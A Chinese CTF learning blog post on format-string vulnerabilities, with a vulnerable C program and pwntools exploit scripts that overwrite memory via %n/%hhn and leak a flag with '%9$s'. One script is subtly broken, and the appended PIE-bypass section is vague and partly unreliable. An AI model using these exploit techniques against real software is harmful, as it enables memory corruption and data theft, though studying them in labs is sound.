pwn学习-格式化字符串的利用

本文深入探讨格式化字符串漏洞的原理与利用方法,通过具体示例讲解如何修改栈内存中的变量值,包括覆盖小数字、大数字及任意地址内存。同时,提供了利用格式化字符串漏洞泄露flag的实例。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

覆盖栈内存 

所用例子

/* example/overflow/overflow.c */
#include <stdio.h>
int a = 123, b = 456;
int main() {
  int c = 789;
  char s[100];
  printf("%p\n", &c);
  scanf("%s", s);
  printf(s);
  if (c == 16) {
    puts("modified c.");
  } else if (a == 2) {
    puts("modified a for a small number.");
  } else if (b == 0x12345678) {
    puts("modified b for a big number!");
  }
  return 0;
}

GCC编译为32位。

首先输入AAAA与若干%p,确定我们输入的字符串在堆栈里的位置。这里数一下发现是第六个参数

所以使用exp

from pwn import *

#sh = process('./overflow')
overflow = ELF('./overflow')
c_addr = int(sh.recvuntil('\n',drop=True),16)

print hex(c_addr)
payload = p32(c_addr)+'%012d' +'%6$n'
sh.sendline(payload)
print sh.recv()
sh.interactive()

即可修改C的值为16,这里因为p32后的c_addr占据4个字节,%012d 为长度为12个字节的整数,不足则以0补全,所以长度加起来为16.所以可以写到第六个参数并且是c的地址里。将C改变为16

覆盖任意地址内存 

覆盖小数字

修改a为小数2

在IDA里查看到a的地址为0x804A028

构造的大概为 aa%k$naa+addr_a k为addr_a所在的参数位置

根据之前看 AAAA在第六个参数,即aa%k 在第六个 $naa即在第七个 所以addr_a在第八个参数

from pwn import *

sh = process('./overflow')
overflow = ELF('./overflow')
c_addr = int(sh.recvuntil('\n',drop=True),16)

payload = 'aa%8$naa' + p32(0x804A028)
sh.sendline(payload)
print sh.recv()
sh.interactive()

修改成功

覆盖大数字

利用%hh 将数字写入单字节地址是关键。

在IDA里找到b的地址

直接exp附注释

from pwn import *

sh = process('./overflow')
overflow = ELF('./overflow')
b_addr = 0x804A02c
payload = p32(b_addr) + p32(b_addr+1) + p32(b_addr+2) + p32(b_addr+3)  #分别向每个地址写入单字节值
#0x78 in b_addr
if len(payload) < 0x78:
	result = 0x78 - len(payload)
elif len(payload) == 0x78:
	result = 0
else:
	result = 256 + 0x78 - len(payload)  #256时候写入为0,所以最终值会模256
payload += '%' + str(result) +'c' + '%6$hhn'
result = 256+0x56-0x78 #因为之前已经输入了0x78个字符,转化为hh单字节字符的值会模256,所以这里的值会变成0x56个。以下类推。
payload +='%' + str(result) +'c' + '%7$hhn'
result = 256+0x34-0x56
payload +='%' + str(result) +'c' + '%8$hhn'
result = 256+0x12-0x34
payload +='%' + str(result) +'c' + '%9$hhn'
sh.sendline(payload)
print sh.recv()
sh.interactive()

 

成功修改,实现了一遍所有的利用,下次做例子。

例子

查看保护,发现开启了canary 与 NX,并且程序为64位

在IDA中查看

很典型的格式化字符串漏洞。

在GDB中调试,并在printf处下断点。

容易看出flag在堆栈里的第四个参数,但是64位参数先使用6个寄存器传递参数再使用堆栈传递参数。

fmt存储在RDI中为第一个参数,所以只需要再便宜9个参数即可到达flag。

即 输入 %9$s  即可泄露flag

exp

sh = process('./goodluck')

payload = '%9$s'

sh.recv()
sh.sendline(payload)
output  = sh.recv()
print output
sh.interactive()

### 绕过PIE保护的方法 在解决CTF中的pwn题目时,当面对启用位置独立执行(Position Independent Execution, PIE)保护的目标程序,可以采用多种技术来绕过这种安全机制。下面介绍几种常见且有效的策略。 #### 利用已知地址泄露 如果目标二进制文件存在某些方式能够泄漏栈上数据或库函数指针,则可以通过这些信息计算出加载基址偏移量从而定位其他所需 gadget 或者 libc 函数的位置[^1]。 ```c // 假设我们已经获取到了某个固定偏移处的数据 leak_value unsigned long base_addr = leak_value - known_offset; ``` #### 返回导向编程 (ROP) 通过构建 ROP 链可以在不知道确切内存布局的情况下调用系统命令或者其他有用的操作。对于启用了ASLR和PIE的情况,通常需要先找到一种方法来泄露出一些有用的地址以便后续操作。一旦获得了足够的信息就可以利用ropgadget工具自动生成所需的链表。 #### 动态链接器特性 Linux下的动态链接器`ld.so`本身也是共享对象的一部分,并且其路径通常是固定的(`/lib/ld-linux-x86-64.so.2`)。因此,在某些情况下可以直接尝试解析并控制该组件的行为以实现攻击目的。这可能涉及到覆盖got表条目指向特定于环境设置的辅助向量(`AT_SYSINFO`, `AT_HWCAP`等)。 #### 使用环境变量 有时还可以借助外部输入如环境变量来进行间接跳转。例如,可以通过设置特殊的环境变量名使得程序内部逻辑发生改变进而触发预期之外的功能调用序列。这种方法依赖具体的应用场景以及是否存在可被操控的地方。 ```bash export SYSTEM_CALL="malicious_command" ./vulnerable_program ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值